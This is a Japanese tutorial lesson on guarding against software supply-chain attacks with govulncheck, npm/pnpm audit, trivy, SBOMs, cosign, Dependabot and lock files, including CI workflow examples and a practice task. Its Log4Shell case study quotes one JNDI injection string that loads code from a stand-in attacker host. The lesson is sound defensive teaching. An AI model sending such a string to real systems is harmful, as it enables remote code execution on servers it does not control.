3-2. 依存スキャン - サプライチェーン攻撃を防ぐ
所要時間: 40-60分 ゴール: 自分のリポジトリに govulncheck と Dependabot を組み込み、依存の脆弱性を自動検知する仕組みを作る コミット内容:
.github/workflows/security.ymlと.github/dependabot.ymlを~/learn/security/day32/にコミット
前章とのつながり
このレッスンの位置づけ
3-1 サーバーhardening では OS とネットワーク を守った。本章では アプリの依存パッケージ を守る。同じ「外側」の脅威でも、攻撃面が違う。
- 本章:
package.json/go.modに書かれた 他人のコード が攻撃面- 次章 3-3 ログと監視: 起きていることに 気づく 仕組み
- 2-4 シークレット管理: シークレット漏洩スキャンも同じ系統の自動検知
実害シーン: サプライチェーン攻撃の被害
- Log4Shell (2021): log4j2 の RCE → 世界中の Java アプリほぼ全て が影響。CVSS 10.0。修正の遅い企業が大量被害
- event-stream (npm, 2018): 週900万DLのパッケージに 暗号通貨窃取コード混入 → 間接依存していたアプリも被害
- xz-utils バックドア (2024): 2年かけてソーシャルエンジニアリングで仕込まれたバックドア → Linux ディストロほぼ全てが乗っ取り寸前
- SolarWinds (2020): ビルドプロセスに侵入され正規アップデートにバックドア → 米政府含む18,000社 に侵入
「自分のコードは1行も書き換えられていないのに侵害された」 が現代の常識。コードレビューと単体テストでは絶対に防げない。
大前提: なぜ依存スキャンを学ぶか
現代のソフトウェアは95%以上が他人のコードだ。npm install 1発で node_modules/ に1000以上のパッケージが入る。go.sum を眺めれば数百行の間接依存が並ぶ。これらは1行も自分が書いていない。
そして、その中のどれか1つに脆弱性があれば、自分のアプリも脆弱になる。これがソフトウェアサプライチェーン攻撃だ。
実例:
- Log4Shell (CVE-2021-44228, 2021): Java の logging ライブラリ log4j2 に RCE 脆弱性。CVSS 10.0(最大値)。Minecraft サーバー、Amazon、Apple のサービス含む世界の Java アプリほぼ全てが影響。Cloudflare の WAF は脆弱性公表後 9 分で防御ルールを配布した。
- event-stream (npm, 2018): 週900万DLの npm パッケージに、悪意あるメンテナーが暗号通貨ウォレットを盗むコードを混入。直接依存していないアプリも被害(間接依存だから気づかない)。
- xz-utils バックドア (2024): Linux に広く使われる圧縮ライブラリに、ソーシャルエンジニアリングで2年かけてバックドアが仕込まれた。Debian/Fedora のテスト版で発覚。ほぼ全 Linux ディストロが乗っ取り寸前だった。
- SolarWinds (2020): ネットワーク監視ツールのビルドプロセスに侵入され、正規アップデートとしてバックドアが配布。米国政府機関含む18,000社が影響。
- Capital One (2019): 元 AWS エンジニアが SSRF + WAF 設定ミスで1億人の個人情報を漏洩。WAF(依存設定)の落とし穴の典型例。
これら全てに共通するのが「自分のコードは正しいが、依存先が侵された」というパターン。コードレビューと単体テストだけでは防げない。
このレッスンで、攻撃面を継続的に縮小する仕組みを作る。「人の善意に依存するシステム」から「機械的検証に依存するシステム」へ。
セッション①: 脆弱性データベースと言語別ツール(30-40分)
1. CVE と脆弱性データベース
# CVE = Common Vulnerabilities and Exposures
# 各脆弱性に世界共通の ID が振られる
# 例: CVE-2021-44228 = log4shellCVE とは
世界共通の「脆弱性ID」。MITRE Corporation が管理。形式は
CVE-<西暦>-<連番>。全ての脆弱性議論で必ず出てくる用語。CVSS (Common Vulnerability Scoring System): 脆弱性の深刻度を 0.0〜10.0 で数値化したスコア。
- 9.0-10.0: Critical(即対応)
- 7.0-8.9: High
- 4.0-6.9: Medium
- 0.1-3.9: Low
NVD (National Vulnerability Database): 米国NIST が運営する公開DB。
https://nvd.nist.gov/。CVE の詳細・影響範囲・対策情報が集約されている。GHSA (GitHub Security Advisory): GitHub が独自で発行する脆弱性ID。
GHSA-xxxx-xxxx-xxxx形式。CVEより速く発行されることも。Dependabot が使用。
各言語のエコシステム別データベース
- Go:
pkg.go.dev/vuln- Go 公式の脆弱性DB- Node.js: GitHub Advisory + npm 独自
- Python: PyPI Advisory DB
- Ruby: RubySec Advisory DB
- Rust: RustSec Advisory DB
- 横串: osv.dev - Google 主導の統一脆弱性DB
2. Go の脆弱性スキャン - govulncheck
Go チームが公式に提供するスキャナー。
# インストール
go install golang.org/x/vuln/cmd/govulncheck@latest
# 自分のプロジェクトをスキャン
cd ~/learn/go/myapp
govulncheck ./...実行結果の例:
Scanning your code and 234 packages across 47 dependent modules for known vulnerabilities...
Vulnerability #1: GO-2024-2611
HTTP/2 CONTINUATION frames can be used for DoS attacks
More info: https://pkg.go.dev/vuln/GO-2024-2611
Module: golang.org/x/net
Found in: golang.org/x/net@v0.17.0
Fixed in: golang.org/x/net@v0.23.0
Example traces found:
#1: server.go:42:18: main.startServer calls http.ListenAndServegovulncheck の特筆すべき点
単に「使ってるパッケージに脆弱性あるよ」と言うだけでなく、その脆弱な関数を実際に呼んでいるかまで静的解析する。
一般的なスキャナー(npm audit など)は「依存に脆弱なバージョンがある」しか言えない。これは偽陽性が多い。入ってるけど使ってない関数の脆弱性まで報告して開発者を疲弊させる。
govulncheck は「実際に呼んでる関数」を判定するので 「対応必要」と「無視可能」を明確に分けられる。Go のリッチな静的解析エコシステムの強みが出ている部分。
実務ユースケース
- CI で毎PR実行: マージ前に新たな脆弱性が入らないか検知
- 定期スキャン: cron で毎日実行、新規 CVE 公開を即検知
- 本番デプロイ前のゲート: 脆弱性があれば deploy 失敗にする
- インシデント時の影響調査: 「log4shell 同等の Go の問題が出た」時に、影響リポジトリを即特定
CI 組み込みの例 (.github/workflows/govulncheck.yml):
name: govulncheck
on:
push:
branches: [main]
pull_request:
schedule:
- cron: '0 9 * * *' # 毎日 9:00 UTC
permissions:
contents: read
jobs:
govulncheck:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version: 'stable'
- name: Install govulncheck
run: go install golang.org/x/vuln/cmd/govulncheck@latest
- name: Run govulncheck
run: govulncheck ./...govulncheck の落とし穴
- 間接的に呼ばれる経路は検出しづらい場合あり: リフレクション経由など静的解析の限界。「検出されない=安全」ではない
- テストコードの依存は除外される: テスト専用の脆弱性は別途気をつける
- CGO 部分は解析できない:
unsafeや C コードは別途- 「Fixed in: X.X.X」が無い場合がある: 修正版未リリースの脆弱性。対応は「使い方を変える」か「待つ」
3. Node.js: npm audit と pnpm
# npm audit - 依存の脆弱性チェック
npm audit
# 修正可能なものを自動で適用(小さい範囲)
npm audit fix
# メジャーバージョン跨ぐ修正も含む(破壊的変更の可能性)
npm audit fix --force
# 詳細
npm audit --json | jq# pnpm の場合
pnpm audit
pnpm audit --fixなぜ pnpm 推奨か(セキュリティ視点)
npm のフラット化(v3〜)には大きな問題がある:
node_modules/lodashのようにルート直下に依存が積まれ、コード内のどこからでもアクセス可能になる。// 危険: 直接依存していない pino-pretty を require できる const evil = require('some-transitive-dep'); // 動いてしまうこれは 「Phantom Dependencies」 と呼ばれる問題で、間接依存に悪意あるコードがあっても気づかない構造を作る。
pnpm は symlink + hard link で直接依存しか require できない構造にする。これが副作用的にセキュリティ強化になる:
package.jsonに書いてない依存を使うと壊れる → 明示性- 間接依存への意図せぬアクセスが減る
- サプライチェーン攻撃の影響範囲が論理的に小さくなる
設計思想: pnpm の作者 Zoltan Kochan は「正しい依存解決とディスク効率」を目標にしたが、結果としてセキュリティ的にも優れた構造になった。
アンチパターン: audit を無視
# NG: npm install すると毎回 audit 警告が出るが「うざいので無視」 $ npm install 47 vulnerabilities (3 critical, 12 high, ...) # → スルーなぜNGか:
- Critical 1つで RCE 可能性。
prototype pollution、SSRF、path traversalなどが具体的に書かれている- npm audit は決して「全部本当の問題」ではないが、Critical / High は最低限見るべき
- 「audit が騒ぐから無視するのが普通」というメンタルモデルが事故の温床
npm audit の落とし穴と限界
- 偽陽性が多い: 「依存にある」だけで「実際に脆弱な関数を呼んでいるか」は判定しない
- dev 依存も全部報告: webpack-dev-server の脆弱性が本番に影響しないこともある
audit fix --forceは危険: 互換性破壊のメジャーアップを勝手にやる- 対応方針: Critical は即修正、High は計画的、Medium 以下は週次レビュー、Low は四半期、くらいが現実的
4. Docker イメージのスキャン: trivy
コンテナイメージは「OSパッケージ + アプリ + 依存ライブラリ」の総合スコープ。apt install した古い OpenSSL、Python 3.8 の脆弱性、全部漏れる可能性がある。
# trivy インストール(Mac)
brew install aquasecurity/trivy/trivy
# Docker イメージスキャン
trivy image nginx:latest
# 自プロジェクトのイメージ
trivy image my-app:v1.2.3
# ファイルシステム(Dockerfileビルド前にディレクトリ直接)
trivy fs ./
# 重大度フィルタ
trivy image --severity HIGH,CRITICAL my-app:v1.2.3
# 修正版があるものだけ表示
trivy image --ignore-unfixed nginx:latest出力例:
my-app:v1.2.3 (debian 11.6)
==========================
Total: 23 (HIGH: 5, CRITICAL: 2)
┌──────────────┬───────────────────┬──────────┬────────────────────┐
│ Library │ Vulnerability │ Severity │ Fixed Version │
├──────────────┼───────────────────┼──────────┼────────────────────┤
│ libssl1.1 │ CVE-2022-1292 │ CRITICAL │ 1.1.1n-0+deb11u3 │
└──────────────┴───────────────────┴──────────┴────────────────────┘trivy が他のスキャナーと違う点
- OSS かつ高速: Aqua Security 社が GitHub で公開、無料
- 多層スキャン: OS パッケージ / 言語依存 / IaC(Terraform, K8s YAML)/ シークレットまで横断
- Misconfiguration スキャン: Dockerfile のベストプラクティス違反も検知(root で実行、
apt-getのキャッシュ残り等)同じカテゴリで grype (Anchore 社)もある。検出精度が違うので両方流すチームもある。
実務ユースケース
- CI でビルド後にスキャン:
docker build→trivy image→ 重大度 HIGH 以上ならビルド失敗- 本番運用中のイメージ定期スキャン: 今動いてるコンテナイメージに後から脆弱性が見つかることがある
- ベースイメージ選定:
python:3.12-slimvspython:3.12-alpineの脆弱性数比較- 「distroless」採用判断: Google の distroless イメージは攻撃面が極小
Docker イメージスキャンの落とし穴
- 古いタグを長く使う:
node:18などの mutable タグは再ビルドすると中身が変わる。node:18.19.0のように pin する習慣latestタグは絶対やめる: 何が入るか分からない、再現性ゼロ- alpine が常にいいとは限らない: musl libc 由来の互換性問題で本番障害が起きることも
- スキャンしてもベース更新しない: 検出だけで満足し、
docker pullを定期実行しないなら無意味
5. SBOM (Software Bill of Materials)
「材料表」。このソフトウェアが何でできているかの機械可読リスト。米国大統領令(2021)で政府調達に必須化される流れがあり、業界標準になりつつある。
# trivy で SBOM 生成
trivy image --format cyclonedx --output sbom.json my-app:v1.2.3
# Syft(Anchore)でも生成可能
syft my-app:v1.2.3 -o spdx-json > sbom.spdx.jsonSBOM のフォーマット2強
- CycloneDX: OWASP プロジェクト。セキュリティ寄り。脆弱性情報と紐づけやすい
- SPDX: Linux Foundation 主導。ライセンス管理も含む包括的。ISO/IEC 5962 標準
どちらでも本質は同じ「材料表」。CI/CD パイプラインで生成 → 成果物と一緒に保存。インシデント時に「うちは Log4j 使ってる?どのバージョン?」を SBOM で即検索可能。
log4shell が SBOM 普及を加速させた
2021年12月、Log4Shell 発覚時、世界中の企業が「自分とこの製品に log4j 入ってる?」を手作業で調査した。多くの企業が数日〜数週間かかった。Equifax の元 CISO が証言「もし SBOM があれば数分で答えられた」。
以降、米国・EU・日本(経産省)で製品出荷時の SBOM 提供を義務化する方向で動いている。日本では2024年に医療機器ソフトウェアで義務化。
6. Sigstore と cosign(署名検証の入口)
「このバイナリ/イメージは本当に開発者が作ったやつ?」を暗号学的に保証する仕組み。
# cosign のインストール
brew install cosign
# 公開鍵で検証
cosign verify --key cosign.pub gcr.io/example/app:v1.0.0
# Keyless(OIDC ベース、GitHub Actions などから署名)
cosign verify \
--certificate-identity "https://github.com/example/repo/.github/workflows/release.yml@refs/tags/v1.0.0" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
ghcr.io/example/app:v1.0.0Sigstore / cosign が解決する問題
パッケージレジストリ(npm, PyPI, Docker Hub)が侵入されたら、何を信じればいいのか?という根本問題。
解: 公開鍵基盤 + 透明性ログ。
- 開発者は自分の鍵で成果物に署名
- 検証者は公開鍵で署名を確認
- 全ての署名が改ざん不能な公開ログ(Rekor)に記録される
Linux Foundation の Sigstore プロジェクトが「無料で誰でも使える」形で実装。Kubernetes、Distroless、PyPI などが既に採用。
次世代のサプライチェーン防御として最重要技術。
セッション②: 自動化と Lock ファイル(20-30分)
7. Dependabot / Renovate で自動 PR
「依存パッケージ更新の PR を bot が自動で作る」仕組み。
.github/dependabot.yml:
version: 2
updates:
# Go modules
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
day: "monday"
open-pull-requests-limit: 10
labels:
- "dependencies"
- "go"
groups:
go-deps:
patterns:
- "*"
update-types:
- "minor"
- "patch"
# GitHub Actions の依存
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Docker base image
- package-ecosystem: "docker"
directory: "/"
schedule:
interval: "weekly"
# npm
- package-ecosystem: "npm"
directory: "/frontend"
schedule:
interval: "weekly"
versioning-strategy: increaseDependabot vs Renovate
- Dependabot: GitHub純正、設定が単純、無料、PRが大量に作られがち
- Renovate: 設定が柔軟、PR の自動マージルール、グループ化が強力、GitLab でも動く
規模が小さければ Dependabot で十分。複雑な monorepo や厳密な制御が必要なら Renovate。「導入していない」が一番ダメ。
実務ユースケース
- 週1で minor/patch を bot が PR: CI が緑なら自動マージ(小さい更新は bot に任せる)
- メジャー更新は人間レビュー: 破壊的変更があるので慎重
- セキュリティ更新は即時PR + 自動マージ: 重要度に応じてポリシー分岐
- 長期メンテプロジェクトの延命: 半年触らないと依存が腐る。Dependabot が走り続ければ常時最新
自動 PR の運用落とし穴
- PR が溜まりすぎて全員無視: 「Dependabot からの50PR」状態。グループ化、自動マージ、定期掃除が必須
- CI が常に緑とは限らない: 依存更新で気付かないバグが入る → ちゃんとした E2E テスト前提
- 新規依存の追加には別チェック: 既存の自動更新と、新規パッケージ追加は別物。新規追加は人間レビュー必須
8. Lock ファイルの重要性
go.sum、pnpm-lock.yaml、Cargo.lock、Gemfile.lock などの「ロックファイル」はビルドの再現性とセキュリティの基盤。
# Go の場合
ls -la go.sum
# 各依存パッケージのバージョンと**ハッシュ**が記録されている
# npm系
ls -la package-lock.json pnpm-lock.yaml yarn.lockgo.sum の中身例:
github.com/gin-gonic/gin v1.9.1 h1:4idEAncQnU5cB7BeOkPtxjfCSye0AAm1R0RVIqJ+Jmg=
github.com/gin-gonic/gin v1.9.1/go.mod h1:hPrL7YrpYKXt5YId3A/Tnip5kqbEAP+KLuI3IUwu7TY=h1:... はSHA-256ハッシュ。次回 go mod download 時に「ダウンロードしたパッケージが本当に同じか」を検証する。
Lock ファイルが防ぐ攻撃
- パッケージレジストリの侵害: 公開済みバージョンを攻撃者が差し替え → ハッシュ不一致でビルド失敗
- MITM 攻撃: ダウンロード中に書き換え → ハッシュで検出
- 「動かしてビックリ」: バージョンずれによる挙動差異の発見
Reproducible Build の基礎: 「同じソースから常に同じバイナリ」を保証するための前提条件。
アンチパターン: lock ファイルを .gitignore する
# NG: 「環境ごとに違うから」と言って lock ファイルをコミットしない # .gitignore package-lock.json go.sumなぜNGか:
- 開発環境と本番環境で実際に違うパッケージバージョンになる
- 「ローカルでは動く、本番では落ちる」の典型原因
- サプライチェーン攻撃の検証能力を捨てている
- コミット必須。バイナリも基本コミット可(go の場合
vendor/も)
Reproducible Build(再現可能ビルド)
「同じソースコードから、誰がいつビルドしても同じバイナリが生成される」性質。
これが保証されると:
- 第三者によるビルド検証が可能: 公式バイナリと自前ビルドが一致すれば改ざんなしと証明
- SolarWinds 型攻撃の対抗策: ビルドプロセス侵入されてもバイナリ差異で気づける
実現の難しさ:
- タイムスタンプの埋め込み(compile時刻)
- パスの埋め込み(
/home/user/...のような絶対パス)- 並列ビルドの非決定性
Linux ディストリは Debian の Reproducible Builds プロジェクトが先駆者。Go は標準で再現可能ビルドに近い。
練習課題: 自分のリポジトリにスキャン仕組みを組み込む
以下を順に実装する。
Step 1: govulncheck をローカルで実行
cd ~/learn/go/myapp
go install golang.org/x/vuln/cmd/govulncheck@latest
govulncheck ./...
# 出力を眺める。脆弱性があれば go.mod を `go get` で更新Step 2: CI に組み込む
.github/workflows/security.yml を作成:
name: Security
on:
push:
branches: [main]
pull_request:
schedule:
- cron: '0 0 * * MON' # 毎週月曜
permissions:
contents: read
jobs:
govulncheck:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version: 'stable'
- run: go install golang.org/x/vuln/cmd/govulncheck@latest
- run: govulncheck ./...
trivy-fs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Trivy filesystem scan
uses: aquasecurity/trivy-action@master
with:
scan-type: 'fs'
scan-ref: '.'
severity: 'CRITICAL,HIGH'
exit-code: '1'
trivy-image:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build
run: docker build -t myapp:${{ github.sha }} .
- name: Trivy image scan
uses: aquasecurity/trivy-action@master
with:
image-ref: 'myapp:${{ github.sha }}'
severity: 'CRITICAL,HIGH'
exit-code: '1'Step 3: Dependabot を有効化
.github/dependabot.yml:
version: 2
updates:
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 5
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
- package-ecosystem: "docker"
directory: "/"
schedule:
interval: "weekly"リポジトリ Settings > Code security > Dependabot で alert を有効化。
Step 4: SBOM を成果物として保存
workflows/release.yml の release ジョブに:
- name: Generate SBOM
uses: anchore/sbom-action@v0
with:
image: myapp:${{ github.sha }}
format: cyclonedx-json
output-file: sbom.json
- name: Upload SBOM
uses: actions/upload-artifact@v4
with:
name: sbom
path: sbom.json業界事例: log4shell から学ぶ
何が起きたか: 2021年12月9日、Apache Log4j2 に CVE-2021-44228 が公開。${jndi:ldap://attacker.com/x} のような文字列をログ出力するだけで、攻撃者のサーバーから任意のクラスファイルを読み込んで実行できる。CVSS 10.0。
なぜ世界中が大混乱したか:
- log4j は Java エコシステムでデファクト = 影響範囲が広大
- ロガーは「アプリの末端」にいるが、ユーザー入力(User-Agent、URL、検索クエリ)を何でもログに書く = ほぼ全ての入力点が攻撃面
- 多くの企業が「うちは log4j 使ってる?」を即答できなかった = 依存可視化の欠如
対応の差:
- Cloudflare: 公表から9分後にWAFルールデプロイ
- Apple iCloud: 数時間で脆弱性確認 → 修正
- 多くの中小企業: 数週間〜数ヶ月対応できず
教訓:
- SBOM があれば「使ってる/使ってない」が即判定可能
- 依存スキャンを CI に組み込んでいれば、修正版リリース当日に検知可能
- 「ログにユーザー入力を入れる」のは常識中の常識だが、これが攻撃面になった
締め: git で証跡を残す
cd ~/learn/security/day32
git add .github/workflows/security.yml .github/dependabot.yml
git commit -m "feat(security): 依存スキャン自動化 (govulncheck/trivy/dependabot)"チェックリスト
- CVE と CVSS の意味を理解した
- govulncheck をローカルで動かせた
- govulncheck の特長(実呼び出し検出)を説明できる
-
npm audit/pnpm auditを実行した - trivy で Docker イメージをスキャンした
- SBOM の意義を1分で説明できる
-
.github/dependabot.ymlを設置した - CI で脆弱性検知でビルドを止める仕組みを入れた
- Lock ファイルをコミットする理由を語れる
詰まった時のチートシート
| やりたいこと | コマンド |
|---|---|
| Go の脆弱性スキャン | govulncheck ./... |
| npm の監査 | npm audit |
| pnpm の監査 | pnpm audit |
| Docker イメージスキャン | trivy image <name> |
| ファイルシステムスキャン | trivy fs . |
| 重大度フィルタ | trivy image --severity HIGH,CRITICAL <name> |
| SBOM 生成 | trivy image --format cyclonedx <name> |
| cosign で検証 | cosign verify --key key.pub <image> |
「実務OK」基準
- 新規リポジトリ作成時、5分で security workflow を入れられる
- 「Log4Shell が今出たら、うちは大丈夫か」を10分以内に答えられる
- govulncheck の「実呼び出し検出」を npm audit との違いとして説明できる
- Dependabot からの PR を「無視 / マージ / レビュー」で分類運用できる
- SBOM が「なぜ作るのか」を1分で説明できる
さらに深掘りするなら
- 公式: govulncheck
- 公式: Trivy Docs
- 公式: Dependabot Docs
- 公式: Sigstore
- 公式: OSV.dev
- 書籍: 『Building Secure & Reliable Systems』Google SRE - サプライチェーンも論じる現代の名著
- レポート: SLSA Framework - サプライチェーン整合性のレベル定義
- 規格: NIST SP 800-218 (Secure Software Development Framework)
メタ認知: 自分の理解度を診断する
30秒セルフテスト
- CVE と CVSS の違いを1文ずつ
govulncheckと Dependabot の使い分け- SBOM を作る 意味 を1文で
- lock ファイルを 絶対 commit する 理由
- ライブラリ更新を 自動 vs 手動 で運用する判断軸
詰まったら → セッション①の言語別ツール、セッション②の CI 組み込み手順を再読。
次のレッスン
3-3 ログと監視 で「セキュリティログと監視」を扱う。攻撃を防ぐだけでなく、起きていることを観察する力を作る。tail -f auth.log 1時間眺める経験で見えてくるものがある。
間隔反復ポイント
依存スキャンは 「設定したら半年放置されがち」。3ヶ月に1度、CI のスキャンが本当に動いているか目視確認する習慣を作ると、いざという時に発火する。